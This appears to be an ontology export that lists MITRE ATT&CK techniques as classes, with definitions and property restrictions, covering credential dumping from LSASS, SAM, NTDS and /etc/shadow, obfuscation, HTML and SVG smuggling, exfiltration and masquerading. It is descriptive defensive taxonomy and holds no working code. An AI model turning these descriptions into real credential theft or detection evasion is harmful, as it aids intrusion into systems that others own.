definition: Adversaries may modify software and device credentials to prevent operator and responder access. Depending on the device, the modification or addition of this password could prevent any device configuration actions from being accomplished and may require a factory reset or replacement of hardware. These credentials are often built-in features provided by the device vendors as a means to restrict access to management interfaces.
subclass of: ATTACKICSInhibitResponseFunctionTechnique
preferred label: Change Credential

Data from Local System - ATTACK ICS
type: Class
attack-id: T0893
definition: Adversaries may target and collect data from local system sources, such as file systems, configuration files, or local databases. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes.
subclass of: ATTACKICSCollectionTechnique
preferred label: Data from Local System

System Binary Proxy Execution - ATTACK ICS
type: Class
attack-id: T0894
definition: Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system. (Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. Similarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands. (Citation: split man page)(Citation: GTFO split)
subclass of: ATTACKICSEvasionTechnique
preferred label: System Binary Proxy Execution

Autorun Image - ATTACK ICS
type: Class
attack-id: T0895
definition: Adversaries may leverage AutoRun functionality or scripts to execute malicious code. Devices configured to enable AutoRun functionality or legacy operating systems may be susceptible to abuse of these features to run malicious code stored on various forms of removeable media (i.e., USB, Disk Images [.ISO]). Commonly, AutoRun or AutoPlay are disabled in many operating systems configurations to mitigate against this technique. If a device is configured to enable AutoRun or AutoPlay, adversaries may execute code on the device by mounting the removable media to the device, either through physical or virtual means. This may be especially relevant for virtual machine environments where disk images may be dynamically mapped to a guest system on a hypervisor.
subclass of: ATTACKICSExecutionTechnique
preferred label: Autorun Image

Junk Data
type: Class
attack-id: T1001.001
definition: Adversaries may add junk data to protocols used for command and control to make detection more difficult.(Citation: FireEye SUNBURST Backdoor December 2020) By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters.
subclass of: T1001

Steganography
type: Class
attack-id: T1001.002
definition: Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control.
subclass of: T1001

Protocol or Service Impersonation
type: Class
attack-id: T1001.003
definition: Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic.
subclass of: T1001

Data Compressed
type: Class
attack-id: T1002
definition: An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.
comment: This technique has been revoked by T1560
subclass of: ExfiltrationTechnique
deprecated: true

LSASS Memory
type: Class
type: NamedIndividual
accesses: AuthenticationService
accesses: Process
attack-id: T1003.001
definition: Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).
subclass of: Restriction
  on property: accesses
  some values from: AuthenticationService
subclass of: Restriction
  on property: accesses
  some values from: Process
subclass of: T1003

Security Account Manager
type: Class
type: NamedIndividual
attack-id: T1003.002
definition: Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access.
may-access: AuthenticationService
may-access: Process
may-access: SystemPasswordDatabase
subclass of: Restriction
  on property: may-access
  some values from: AuthenticationService
subclass of: Restriction
  on property: may-access
  some values from: SystemPasswordDatabase
subclass of: Restriction
  on property: may-access
  some values from: Process
subclass of: T1003

NTDS
type: Class
type: NamedIndividual
accesses: EncryptedCredential
attack-id: T1003.003
definition: Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\NTDS\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)
subclass of: Restriction
  on property: accesses
  some values from: EncryptedCredential
subclass of: T1003

LSA Secrets
type: Class
type: NamedIndividual
attack-id: T1003.004
definition: Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)
may-access: Process
may-access: SystemPasswordDatabase
subclass of: Restriction
  on property: may-access
  some values from: Process
subclass of: Restriction
  on property: may-access
  some values from: SystemPasswordDatabase
subclass of: T1003

Cached Domain Credentials
type: Class
type: NamedIndividual
accesses: EncryptedCredential
attack-id: T1003.005
definition: Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)
may-modify: Log
subclass of: Restriction
  on property: may-modify
  some values from: Log
subclass of: Restriction
  on property: accesses
  some values from: EncryptedCredential
subclass of: T1003

DCSync
type: Class
type: NamedIndividual
attack-id: T1003.006
definition: Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.
may-modify: EventLog
produces: IntranetAdministrativeNetworkTraffic
subclass of: Restriction
  on property: produces
  some values from: IntranetAdministrativeNetworkTraffic
subclass of: Restriction
  on property: may-modify
  some values from: EventLog
subclass of: T1003

Proc Filesystem
type: Class
type: NamedIndividual
accesses: OperatingSystemFile
accesses: ProcessImage
attack-id: T1003.007
definition: Adversaries may gather credentials from the proc filesystem or `/proc`. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the `/proc/<PID>/maps` file shows how memory is mapped within the process’s virtual address space. And `/proc/<PID>/mem`, exposed for debugging purposes, provides access to the process’s virtual address space.(Citation: Picus Labs Proc cump 2022)(Citation: baeldung Linux proc map 2022)
subclass of: Restriction
  on property: accesses
  some values from: OperatingSystemFile
subclass of: Restriction
  on property: accesses
  some values from: ProcessImage
subclass of: T1003

/etc/passwd and /etc/shadow
type: Class
type: NamedIndividual
accesses: EncryptedCredential
accesses: PasswordFile
attack-id: T1003.008
definition: Adversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats)
subclass of: Restriction
  on property: accesses
  some values from: EncryptedCredential
subclass of: Restriction
  on property: accesses
  some values from: PasswordFile
subclass of: T1003

Winlogon Helper DLL
type: Class
attack-id: T1004
definition: Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software\[Wow6432Node\]Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013)
comment: This technique has been revoked by T1547.004
subclass of: PersistenceTechnique
deprecated: true

Data from Local System
type: Class
type: NamedIndividual
accesses: File
accesses: LocalResource
attack-id: T1005
definition: Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
subclass of: Restriction
  on property: accesses
  some values from: File
subclass of: Restriction
  on property: accesses
  some values from: LocalResource
subclass of: CollectionTechnique

Direct Volume Access
type: Class
type: NamedIndividual
accesses: Volume
attack-id: T1006
definition: Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)
subclass of: Restriction
  on property: accesses
  some values from: Volume
subclass of: DefenseEvasionTechnique

System Service Discovery
type: Class
type: NamedIndividual
attack-id: T1007
definition: Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start.
may-invoke: CreateProcess
may-invoke: GetRunningProcesses
subclass of: Restriction
  on property: may-invoke
  some values from: GetRunningProcesses
subclass of: Restriction
  on property: may-invoke
  some values from: CreateProcess
subclass of: DiscoveryTechnique

Fallback Channels
type: Class
type: NamedIndividual
attack-id: T1008
definition: Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.
produces: OutboundInternetNetworkTraffic
subclass of: Restriction
  on property: produces
  some values from: OutboundInternetNetworkTraffic
subclass of: CommandAndControlTechnique

Binary Padding
type: Class
attack-id: T1009
definition: Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.
comment: This technique has been revoked by T1027.001
subclass of: DefenseEvasionTechnique
deprecated: true

Application Window Discovery
type: Class
type: NamedIndividual
attack-id: T1010
definition: Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) to evade.(Citation: ESET Grandoreiro April 2020)
may-invoke: CreateProcess
may-invoke: GetOpenWindows
subclass of: Restriction
  on property: may-invoke
  some values from: CreateProcess
subclass of: Restriction
  on property: may-invoke
  some values from: GetOpenWindows
subclass of: DiscoveryTechnique

Exfiltration Over Bluetooth
type: Class
attack-id: T1011.001
definition: Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.
subclass of: Exfiltration Over Other Network Medium

Query Registry
type: Class
type: NamedIndividual
accesses: SystemConfigurationDatabase
attack-id: T1012
definition: Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
may-invoke: GetSystemConfigValue
subclass of: Restriction
  on property: accesses
  some values from: SystemConfigurationDatabase
subclass of: Restriction
  on property: may-invoke
  some values from: GetSystemConfigValue
subclass of: DiscoveryTechnique

Port Monitors
type: Class
attack-id: T1013
definition: A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\Windows\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors.
comment: This technique has been revoked by T1547.010
subclass of: PersistenceTechnique
subclass of: PrivilegeEscalationTechnique
deprecated: true

Rootkit
type: Class
type: NamedIndividual
attack-id: T1014
definition: Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits)
may-modify: BootSector
may-modify: Firmware
may-modify: Kernel
may-modify: KernelModule
may-modify: SharedLibraryFile
subclass of: Restriction
  on property: may-modify
  some values from: BootSector
subclass of: Restriction
  on property: may-modify
  some values from: Kernel
subclass of: Restriction
  on property: may-modify
  some values from: KernelModule
subclass of: Restriction
  on property: may-modify
  some values from: Firmware
subclass of: Restriction
  on property: may-modify
  some values from: SharedLibraryFile
subclass of: DefenseEvasionTechnique

Accessibility Features
type: Class
attack-id: T1015
definition: Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.
comment: This technique has been revoked by T1546.008
subclass of: PersistenceTechnique
subclass of: PrivilegeEscalationTechnique
deprecated: true

Internet Connection Discovery
type: Class
attack-id: T1016.001
definition: Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites.
subclass of: T1016

Wi-Fi Discovery
type: Class
attack-id: T1016.002
definition: Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. Adversaries may use Wi-Fi information as part of [Account Discovery](https://attack.mitre.org/techniques/T1087), [Remote System Discovery](https://attack.mitre.org/techniques/T1018), and other discovery or [Credential Access](https://attack.mitre.org/tactics/TA0006) activity to support both ongoing and future campaigns.
subclass of: T1016

Application Deployment Software
type: Class
attack-id: T1017
definition: Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.
comment: This technique has been revoked by T1072
subclass of: LateralMovementTechnique
deprecated: true

Remote System Discovery
type: Class
type: NamedIndividual
attack-id: T1018
definition: Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039).
may-access: OperatingSystemConfigurationFile
may-invoke: CreateProcess
may-invoke: CreateSocket
produces: NetworkTraffic
subclass of: Restriction
  on property: may-invoke
  some values from: CreateSocket
subclass of: Restriction
  on property: produces
  some values from: NetworkTraffic
subclass of: Restriction
  on property: may-invoke
  some values from: CreateProcess
subclass of: Restriction
  on property: may-access
  some values from: OperatingSystemConfigurationFile
subclass of: DiscoveryTechnique

System Firmware
type: Class
attack-id: T1019
definition: The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)
comment: This technique has been revoked by T1542.001
subclass of: PersistenceTechnique
deprecated: true

Traffic Duplication
type: Class
attack-id: T1020.001
definition: Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)
subclass of: Automated Exfiltration

Distributed Component Object Model
type: Class
attack-id: T1021.003
definition: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.
subclass of: T1021

SSH
type: Class
type: NamedIndividual
attack-id: T1021.004
creates: SSHSession
definition: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.
produces: AdministrativeNetworkTraffic
subclass of: Restriction
  on property: creates
  some values from: SSHSession
subclass of: Restriction
  on property: produces
  some values from: AdministrativeNetworkTraffic
subclass of: T1021

VNC
type: Class
attack-id: T1021.005
definition: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)
subclass of: T1021

Cloud Services
type: Class
attack-id: T1021.007
definition: Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user.
subclass of: T1021

Direct Cloud VM Connections
type: Class
attack-id: T1021.008
definition: Adversaries may leverage [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log directly into accessible cloud hosted compute infrastructure through cloud native methods. Many cloud providers offer interactive connections to virtual infrastructure that can be accessed through the [Cloud API](https://attack.mitre.org/techniques/T1059/009), such as Azure Serial Console(Citation: Azure Serial Console), AWS EC2 Instance Connect(Citation: EC2 Instance Connect)(Citation: lucr-3: Getting SaaS-y in the cloud), and AWS System Manager.(Citation: AWS System Manager).
subclass of: T1021

Data Encrypted
type: Class
attack-id: T1022
definition: Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.
comment: This technique has been revoked by T1560
subclass of: ExfiltrationTechnique
deprecated: true

Shortcut Modification
type: Class
attack-id: T1023
definition: Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.
comment: This technique has been revoked by T1547.009
subclass of: PersistenceTechnique
deprecated: true

Custom Cryptographic Protocol
type: Class
attack-id: T1024
definition: Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.
comment: This technique has been revoked by T1573
subclass of: CommandAndControlTechnique
deprecated: true

Data from Removable Media
type: Class
type: NamedIndividual
accesses: RemovableMediaDevice
attack-id: T1025
definition: Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.
subclass of: Restriction
  on property: accesses
  some values from: RemovableMediaDevice
subclass of: CollectionTechnique

Multiband Communication
type: Class
attack-id: T1026
definition: **This technique has been deprecated and should no longer be used.**
comment: **This technique has been deprecated and should no longer be used.**
subclass of: CommandAndControlTechnique
deprecated: true

Steganography
type: Class
attack-id: T1027.003
definition: Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.
subclass of: T1027

HTML Smuggling
type: Class
type: NamedIndividual
attack-id: T1027.006
creates: JavaScriptBlob
definition: Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)
hides: DigitalArtifact
subclass of: Restriction
  on property: hides
  some values from: DigitalArtifact
subclass of: Restriction
  on property: creates
  some values from: JavaScriptBlob
subclass of: T1027

Dynamic API Resolution
type: Class
attack-id: T1027.007
definition: Adversaries may obfuscate then dynamically resolve API functions called by their malware in order to conceal malicious functionalities and impair defensive analysis. Malware commonly uses various [Native API](https://attack.mitre.org/techniques/T1106) functions provided by the OS to perform various tasks such as those involving processes, files, and other system artifacts.
subclass of: T1027

Stripped Payloads
type: Class
attack-id: T1027.008
definition: Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variables names and other strings that help developers document code functionality. Symbols are often created by an operating system’s `linker` when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018)
subclass of: T1027

Embedded Payloads
type: Class
attack-id: T1027.009
definition: Adversaries may embed payloads within other files to conceal malicious content from defenses. Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. In some cases, embedded payloads may also enable adversaries to [Subvert Trust Controls](https://attack.mitre.org/techniques/T1553) by not impacting execution controls such as digital signatures and notarization tickets.(Citation: Sentinel Labs)
subclass of: T1027

Command Obfuscation
type: Class
attack-id: T1027.010
definition: Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE)
subclass of: T1027

Fileless Storage
type: Class
attack-id: T1027.011
definition: Adversaries may store data in "fileless" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless)
subclass of: T1027

LNK Icon Smuggling
type: Class
attack-id: T1027.012
definition: Adversaries may smuggle commands to download malicious payloads past content filters by hiding them within otherwise seemingly benign windows shortcut files. Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the `IconEnvironmentDataBlock`) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory.
subclass of: T1027

Encrypted/Encoded File
type: Class
attack-id: T1027.013
definition: Adversaries may encrypt or encode files to obfuscate strings, bytes, and other specific patterns to impede detection. Encrypting and/or encoding file content aims to conceal malicious artifacts within a file used in an intrusion. Many other techniques, such as [Software Packing](https://attack.mitre.org/techniques/T1027/002), [Steganography](https://attack.mitre.org/techniques/T1027/003), and [Embedded Payloads](https://attack.mitre.org/techniques/T1027/009), share this same broad objective. Encrypting and/or encoding files could lead to a lapse in detection of static signatures, only for this malicious content to be revealed (i.e., [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)) at the time of execution/use.
subclass of: T1027

Polymorphic Code
type: Class
attack-id: T1027.014
definition: Adversaries may utilize polymorphic code (also known as metamorphic or mutating code) to evade detection. Polymorphic code is a type of software capable of changing its runtime footprint during code execution.(Citation: polymorphic-blackberry) With each execution of the software, the code is mutated into a different version of itself that achieves the same purpose or objective as the original. This functionality enables the malware to evade traditional signature-based defenses, such as antivirus and antimalware tools.(Citation: polymorphic-sentinelone)
subclass of: T1027

Compression
type: Class
attack-id: T1027.015
definition: Adversaries may use compression to obfuscate their payloads or files. Compressed file formats such as ZIP, gzip, 7z, and RAR can compress and archive multiple files together to make it easier and faster to transfer files. In addition to compressing files, adversaries may also compress shellcode directly - for example, in order to store it in a Windows Registry key (i.e., [Fileless Storage](https://attack.mitre.org/techniques/T1027/011)).(Citation: Trustwave Pillowmint June 2020)
subclass of: T1027

Junk Code Insertion
type: Class
attack-id: T1027.016
definition: Adversaries may use junk code / dead code to obfuscate a malware’s functionality. Junk code is code that either does not execute, or if it does execute, does not change the functionality of the code. Junk code makes analysis more difficult and time-consuming, as the analyst steps through non-functional code instead of analyzing the main code. It also may hinder detections that rely on static code analysis due to the use of benign functionality, especially when combined with [Compression](https://attack.mitre.org/techniques/T1027/015) or [Software Packing](https://attack.mitre.org/techniques/T1027/002).(Citation: ReasonLabs)(Citation: ReasonLabs Cyberpedia Junk Code)
subclass of: T1027

SVG Smuggling
type: Class
attack-id: T1027.017
definition: Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign SVG files.(Citation: Trustwave SVG Smuggling 2025) SVGs, or Scalable Vector Graphics, are vector-based image files constructed using XML. As such, they can legitimately include ` ` tags that enable adversaries to include malicious JavaScript payloads. However, SVGs may appear less suspicious to users than other types of executable files, as they are often treated as image files.
subclass of: T1027

Windows Remote Management
type: Class
attack-id: T1028
definition: Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the winrm command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)
comment: This technique has been revoked by T1021.006
subclass of: ExecutionTechnique
subclass of: LateralMovementTechnique
deprecated: true

Scheduled Transfer
type: Class
type: NamedIndividual
attack-id: T1029
definition: Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.
produces: InternetNetworkTraffic
subclass of: Restriction
  on property: produces
  some values from: InternetNetworkTraffic
subclass of: ExfiltrationTechnique

Data Transfer Size Limits
type: Class
type: NamedIndividual
attack-id: T1030
definition: An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.
produces: InternetNetworkTraffic
subclass of: Restriction
  on property: produces
  some values from: InternetNetworkTraffic
subclass of: ExfiltrationTechnique

Modify Existing Service
type: Class
attack-id: T1031
definition: Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).
comment: This technique has been revoked by T1543.003
subclass of: PersistenceTechnique
deprecated: true

Standard Cryptographic Protocol
type: Class
attack-id: T1032
definition: Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.
comment: This technique has been revoked by T1573
subclass of: CommandAndControlTechnique
deprecated: true

System Owner/User Discovery
type: Class
type: NamedIndividual
attack-id: T1033
definition: Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
may-access: DirectoryService
may-access: GetSystemConfigValue
may-access: PasswordFile
may-access: ProcessSegment
may-invoke: CopyToken
may-invoke: CreateProcess
subclass of: Restriction
  on property: may-access
  some values from: ProcessSegment
subclass of: Restriction
  on property: may-access
  some values from: GetSystemConfigValue
subclass of: Restriction
  on property: may-invoke
  some values from: CreateProcess
subclass of: Restriction
  on property: may-access
  some values from: DirectoryService
subclass of: Restriction
  on property: may-invoke
  some values from: CopyToken
subclass of: Restriction
  on property: may-access
  some values from: PasswordFile
subclass of: DiscoveryTechnique

Path Interception
type: Class
attack-id: T1034
definition: **This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).**
comment: **This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).**
subclass of: PersistenceTechnique
subclass of: PrivilegeEscalationTechnique
deprecated: true

Service Execution
type: Class
attack-id: T1035
definition: Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation.
comment: This technique has been revoked by T1569.002
subclass of: ExecutionTechnique
deprecated: true

Invalid Code Signature
type: Class
type: NamedIndividual
attack-id: T1036.001
creates: ExecutableBinary
definition: Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)
subclass of: Restriction
  on property: creates
  some values from: ExecutableBinary
subclass of: T1036

Right-to-Left Override
type: Class
type: NamedIndividual
attack-id: T1036.002
definition: Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 xcod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_regnp.js will be displayed as photo_high_resj.png.(Citation: Infosecinstitute RTLO Technique)
modifies: FileSystemMetadata
subclass of: Restriction
  on property: modifies
  some values from: FileSystemMetadata
subclass of: T1036

Rename Legitimate Utilities
type: Class
type: NamedIndividual
attack-id: T1036.003
definition: Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)
may-create: ExecutableFile
